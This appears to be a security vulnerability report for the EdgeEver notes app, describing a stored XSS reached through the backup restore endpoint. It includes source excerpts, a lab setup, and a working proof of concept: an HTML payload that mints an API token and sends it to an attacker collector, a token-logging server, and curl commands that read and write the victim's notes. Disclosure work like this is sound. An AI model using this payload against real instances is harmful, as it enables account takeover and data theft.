EdgeEver Vulnerability Report

Software: EdgeEver

Developer or vendor: tianma-if

Code repository: https://github.com/tianma-if/edgeever

1. XSS Leads to Unauthorized Read and Write of Data

Brief description: An attacker uploads a malicious attachment through the backup restore endpoint and sends its link to the victim, who is hit by XSS as soon as the link is opened. The script requests an API Token and sends it back to the attacker, which lets the attacker read and write all of the victim’s notes indefinitely.

Affected versions: 0.1.13 to 2.9.0

Preconditions: The attacker holds an ordinary member account and can convince the instance owner to open a link.

Root cause

EdgeEver stores attachments in the resources table, which has two important columns. kind decides how the browser handles the response: image is served inline and attachment is downloaded. mime_type decides the response Content-Type. During a normal upload both columns are derived from the same Content-Type, so they always agree.

The backup restore endpoint PUT /api/v1/restores/json/resources/:id writes an exported JSON backup, together with its original attachments, back into the instance. It stores metadata.kind and metadata.mimeType from the request body directly, without checking that the two are consistent:

# apps/api/src/backup-routes.ts:378,430-436    commit d5c62eeda4
    const maxBytes = metadata.kind === "image" ? MAX_IMAGE_UPLOAD_BYTES : MAX_ATTACHMENT_UPLOAD_BYTES;
    ...
    await destination.store.put(objectKey, bytes, {
      httpMetadata: { contentType: metadata.mimeType ?? file.type ?? "application/octet-stream" },
      customMetadata: { memoId: metadata.memoId, resourceId: metadata.id, restored: "true" },
    });
    ...
        metadata.kind,
        metadata.mimeType ?? file.type ?? null,

The schema this endpoint relies on, JsonBackupResourceMetadataSchema, likewise only checks that kind is image or attachment and that mimeType is a string, so the two can be combined freely:

# packages/shared/src/backup.ts:137-139    commit d5c62eeda4
    kind: z.enum(["image", "attachment"]),
    mimeType: z.string().nullable(),
    filename: z.string().nullable(),

Setting kind to image and mimeType to text/html therefore produces a resource record that is served inline as an image whose content is HTML.

Once a note is publicly shared, every attachment under that note is reachable at /api/public/shares/{token}/resources/{resourceId}/blob. That endpoint sets its response headers straight from kind and mime_type:

# apps/api/src/share-routes.ts:76,144-147,160-162    commit d5c62eeda4
  const inline = kind === "image" || isPdfAttachment(mimeType, filename) || Boolean(resolvePlayableMediaMimeType(mimeType, filename));
  ...
  headers.set(
    "Content-Type",
    isPdfAttachment(resource.mime_type, resource.filename)
      ? "application/pdf"
      : playableMimeType ?? resource.mime_type ?? headers.get("Content-Type") ?? "application/octet-stream",
  );
  ...
  headers.set("Content-Disposition", contentDisposition(resource.kind, resource.mime_type, resource.filename));
  headers.set("Cache-Control", "private, no-store");
  headers.set("X-Content-Type-Options", "nosniff");

When the victim opens the malicious attachment link, the browser parses the attachment as an HTML document and the script inside it executes. This is the XSS.

The script can obtain an API Token through POST /api/v1/api-tokens and send it back to the attacker, who can then read and write the victim’s notes. This API Token never expires by default.

Reproduction environment

The lab runs the official image. Create a directory and write the following docker-compose.yml:

name: edgeever
services:
  edgeever:
    image: ghcr.io/tianma-if/edgeever:v2.9.0
    init: true
    ports:
      - "19302:8787"
    volumes:
      - ./data:/data
    environment:
      EDGE_EVER_AUTH_USERNAME: admin
      EDGE_EVER_AUTH_PASSWORD: Admin12345.

The service inside the image runs as uid 1000, so the data directory must be owned by that user before mounting, otherwise the container cannot create /data/resources:

mkdir -p data && sudo chown -R 1000:1000 data
docker compose up -d

Once the instance is up, sign in as admin, open the Members panel in the Profile menu, click Add member, and create an ordinary member named member.

Reproduction

The attacker first signs in as the member, creates a note and uploads the malicious attachment:

import datetime, json, uuid
import httpx

BASE = "http://127.0.0.1:19302"
ATTACKER = "http://192.0.2.10:18099/collect"
session = httpx.Client(base_url=BASE, timeout=30)
session.headers["Authorization"] = "Bearer " + session.post(
    "/api/v1/auth/login", json={"username": "member", "password": "Member12345."}
).json()["sessionToken"]

HTML = b"""<!doctype html><meta charset="utf-8"><title>Shared image</title>
<body><p>Loading preview...</p>
<script>
fetch('/api/v1/api-tokens', {method: 'POST', credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: 'backup-token', scopes: ['read:memos', 'write:memos']})})
  .then(r => r.json())
  .then(j => { document.body.textContent = j.token;
               fetch('ATTACKER?token=' + encodeURIComponent(j.token)); });
</script></body>"""

notebook = session.get("/api/v1/notebooks").json()["notebooks"][0]["id"]
memo = session.post("/api/v1/memos", json={"notebookId": notebook, "title": "shared image",
                                           "contentMarkdown": "hi"}).json()["memo"]["id"]

rid = "res_" + uuid.uuid4().hex
now = datetime.datetime.now(datetime.UTC).isoformat().replace("+00:00", "Z")
metadata = {"id": rid, "memoId": memo, "originalMemoId": None, "kind": "image",
            "mimeType": "text/html", "filename": "image.html", "byteSize": len(HTML),
            "sha256": None, "width": None, "height": None,
            "createdAt": now, "updatedAt": now, "archivePath": "image.html"}

r = session.put(f"/api/v1/restores/json/resources/{rid}",
                data={"metadata": json.dumps(metadata)},
                files={"file": ("image.html", HTML.replace(b"ATTACKER", ATTACKER.encode()), "text/html")})
print("restore upload:", r.status_code, r.text)

token = session.post(f"/api/v1/memos/{memo}/share", json={}).json()["share"]["token"]
print("payload url:", f"{BASE}/api/public/shares/{token}/resources/{rid}/blob")

The script prints:

restore upload: 200 {"ok":true}
payload url: http://127.0.0.1:19302/api/public/shares/7AuwbQxK4H_ryLXpLrI2JhAqB-vTsXgJVuT_gmzjMwU/resources/res_7e76f4654e954b06a76824f4d25e3e1c/blob

Next, the attacker starts an HTTP log service:

import sys
from fastapi import FastAPI, Request
import uvicorn

app = FastAPI()


@app.get("/collect")
def collect(request: Request, token: str = ""):
    print(token, flush=True)
    return {"ok": True}


uvicorn.run(app, host="0.0.0.0", port=int(sys.argv[1]) if len(sys.argv) > 1 else 18099, log_level="warning")

The following shows the victim admin’s side. First, sign in as admin:

admin opens the link sent by the attacker, and the XSS fires:

At the same time, the attacker receives the API Token through the HTTP log:

eev_G0JPzlDi2BlxkJKp0x41ZA7xg_oDOuU6-xK-sGoMv28

Reading admin’s notes with this token:

TOKEN=eev_G0JPzlDi2BlxkJKp0x41ZA7xg_oDOuU6-xK-sGoMv28
curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:19302/api/v1/memos?limit=3"
{"memos":[{"id":"memo_welcome","notebookId":"nb_inbox","title":"欢迎来到 EdgeEver","excerpt":"这是第一条 EdgeEver 笔记,三栏、边缘、Agent-ready。",...

Writing a note:

curl -s -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"notebookId":"nb_inbox","title":"tamper","contentMarkdown":"written-through-stolen-token"}' \
  http://127.0.0.1:19302/api/v1/memos
{"memo":{"id":"memo_e05188cedaba41c5b78d25223ef22090","notebookId":"nb_inbox","title":"tamper","excerpt":"written-through-stolen-token",...

The note appears in admin’s client, confirming the write:

With the stolen API Token, the reachable APIs include:

Endpoint Description
GET /api/v1/memos?limit=100 Read titles, bodies and tags of all notes
GET /api/v1/backups/json?limit=50 Download the full JSON backup, including notes, attachment metadata and revision bodies
GET /api/v1/exports/markdown?limit=100 Download a Markdown export with the full text of every note and its attachment list
GET /api/v1/notebooks, GET /api/v1/tags Read notebook structure and tags
POST /api/v1/memos Create notes
PATCH /api/v1/memos/:id Change the title and other attributes of any note
POST /api/v1/memos/:id/edit-sessions + POST /api/v1/memos/:id/save Overwrite the body of any note